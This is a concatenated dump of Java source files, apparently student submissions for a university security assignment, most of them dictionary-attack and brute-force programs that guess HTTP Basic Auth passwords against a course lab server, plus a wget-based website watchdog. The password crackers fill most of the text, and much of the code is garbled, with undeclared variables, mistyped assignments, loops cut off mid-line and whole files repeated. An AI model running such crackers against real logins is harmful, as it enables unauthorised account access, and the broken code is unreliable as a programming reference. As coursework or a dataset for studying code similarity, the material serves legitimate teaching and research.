linee3=""http://www.cs.rmit.edu./students/images""+linee; j++; } System.out.println(line1+"" ""+line2+"" ""+line3); executes(""wget ""+linee1); executes(""wget ""+linee2); executes(""wget ""+linee3); String hash6 = md5sum(""index.html.5""); String hash7 = md5sum(""index.html.6""); String hash8 = md5sum(""index.html.7""); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes(""./difference.sh""); executes(""./mail.sh""); } else { if (pict || pict2 || pict3) { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail2.sh""); } executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail.sh""); executes(""./reorder.sh""); executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 5""); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } ",232.java,"import java.util.*; import java.io.*; import java.*; public class WatchDog { public static void main (String [] args) throws Exception { executes(""rm index.*""); executes(""wget http://www.cs.rmit.edu./students""); while (true) { String addr= ""wget http://www.cs.rmit.edu./students""; executes(addr); String hash1 = md5sum(""index.html""); String hash2 = md5sum(""index.html.1""); System.out.println(hash1 +""|""+ hash2); if (hash1.equals(hash2)) { } else { executes("".~/Assign2/difference.sh""); executes("".~/Assign2/mail1.sh""); } executes(""rm index.html""); executes(""cp index.html.1 index.html""); executes(""rm index.html.1""); executes(""sleep 86400""); } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; while(( s = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String s; String hash= "" ""; Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", ""-c"", ""md5sum ""+file }); BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); while((b = bf.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } } " 137.java," import java.io.*; import java.net.*; import java.*; import java.util.*; public class Dictionary { public static void main( String args[]) { Runtime t = Runtime.getRuntime(); Process pr = null; int count=0; String f,pass,temp1; try{ FileReader fr = new FileReader(""words.txt""); BufferedReader bfread = new BufferedReader(fr); while((bf = bfread.readLine()) != null) { if( f.length() < 4 ) { count++; System.out.println(""The passowrd tried is------>""+""-->""+count); pass = f; f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/""; pr = t.exec(f); InputStreamReader stre = new InputStreamReader(pr.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( ( bf= bread.readLine())!= null) { if(bf.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass); System.exit(0); } } } } fr.print(); bfread.print(); }catch(IOException e){} } } ",171.java," import java.io.*; import java.net.*; import java.*; import java.util.*; public class DictionaryAttack { public static void main ( String args[]) { String function,pass,temp1; int count =0; try{ FileReader fr = new FileReader(""words.txt""); BufferedReader bfread = new BufferedReader(fr); Runtime rtime = Runtime.getRuntime(); Process prs = null; while(( bf = bfread.readLine()) != null) { if( f.length() < 4 ) { System.out.println(+ "" The Attack Number =====>"" + count++ ); pass = f; function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/""; prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( (temp1 = bread.readLine())!= null) { System.out.println(temp1); if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""The password has is:""+pass); System.exit(0); } } } } fr.print(); bfread.close(); }catch(Exception e){} } } " 022.java," import javax.swing.*; public class BruteForce { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } ",017.java," import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } " 047.java,"import java.io.*; import java.net.*; import java.text.*; import java.util.*; class Dictionary { private String password=""""; private int num=401; public static void main(String[] args) { Dictionary URLcon; int length = 0; String passwd=""""; int t0,t1; String line =""""; if (args.length == 0) { System.err.println ( ""Usage : java BruteForce ""); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println ("" "" + new Date()); System.out.println (""Using Dictionary method attack ""+username+""'s password. Please waiting.......""); try{ BufferedReader in = new BufferedReader(new FileReader(""/usr/share/lib/dict/words"")); while ((passwd=in.readLine())!=null) { URLcon = new Dictionary (passwd,username); if ((URLcon.num)!=401) { t1=System.currentTimeMillis(); System.out.println(""The password: ""+ passwd); double dt =t1-t0; System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds""); System.out.println (""Finish "" + new Date()); return; } } }catch (FileNotFoundException e){ System.out.println(e); }catch (IOException e){ System.out.println(e); } System.out.println("" not find the password""); } public Dictionary (String password,String username) { String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ; try { String userPassword = username+"":""+password ; String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes()); URL url = new URL (urlString); HttpURLConnection uc = (HttpURLConnection) url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); url = uc.getResponseCode(); } catch(MalformedURLException e){ System.out.println(e); }catch(IOException e){ System.out.println(e); } } }",045.java,"import java.io.*; import java.net.*; import java.text.*; import java.util.*; class BruteForce { String password=""""; int num =401; public static void main (String[] args) { String str=""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; BruteForce URLcon; int length = 0; String passwd=""""; int t0,t1; if (args.length == 0) { System.err.println ( ""Usage : java BruteForce ""); return; } String username = args[0]; t0=System.currentTimeMillis(); System.out.println ("" "" + new Date()); System.out.println (""Using BruteForce method attack ""+username+""'s password.Please waiting.......""); for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",243.java,"import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""""); String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php""); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println(""Password Cracked Successfully!!!""); System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries""); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println(""Message :"" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println(""Trying again""); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println(""Passing dictionary word and waiting for URL reply....... ""); String currentword = """"; String se = """"; try{ FileInputStream reader = new FileInputStream (""words""); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",087.java,"import java.net.*; import java.io.*; import java.*; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; File file = new File(""words""); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println(""Crrect password is: "" + inp[2]); System.out.println(""Number of attempts = "" + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println(""File not found: "" + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return "" "" + base64Encode (username + "":"" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",086.java,"import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", """", """"}; int attempts = 0; exit: for (int i=0;i= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",153.java,"import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""""; String auth_data; String server_res_code; String required_server_res_code=""200""; int cntr=0; try { URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println(""PASSWORD IS : "" + password + "" SERVER RESPONSE : "" + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }" 155.java,"import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""""; String server_res_code; String required_server_res_code=""200""; int cntr=0; try{ URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection conn=null; String fileName = ""/usr/share/lib/dict/words""; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + "":"" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1""); conn.setRequestProperty (""Authorization"", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + "" SERVER RESPONSE : "" + server_res_code); else { System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + "" SERVER RESPONSE : "" + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = """"; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return "" "" + encodedString; } }",222.java," import java.net.*; import java.io.*; public class Base64Encoder { private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public static String encode (String string) { String encodedString = """"; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += ""=""; break; case 2: encodedString += ""==""; break; } } return encodedString; } } " 221.java," import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class BruteForce extends Thread { private static final String USERNAME = """"; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println(""Invalid usage!""); System.err.println(""Usage: java BruteForce ""); System.exit(1); } try { brute(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void brute(String address, String user) { BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); for(int i = 0; i < POSSIBLE_CHAR.length; i++) { for(int j = 0; j < POSSIBLE_CHAR.length; j++) { for(int k = 0; k < POSSIBLE_CHAR.length; k++) { String password = """"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ POSSIBLE_CHAR[k]; if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e ) {} } threads[index] = new BruteForce(address, password); threads[index].get(); index = (index++) % threads.length; } } } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println(""Found the password: \""""+password+""\""!""); SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:""); System.out.println(""Process started at: ""+format.format(startDate)); 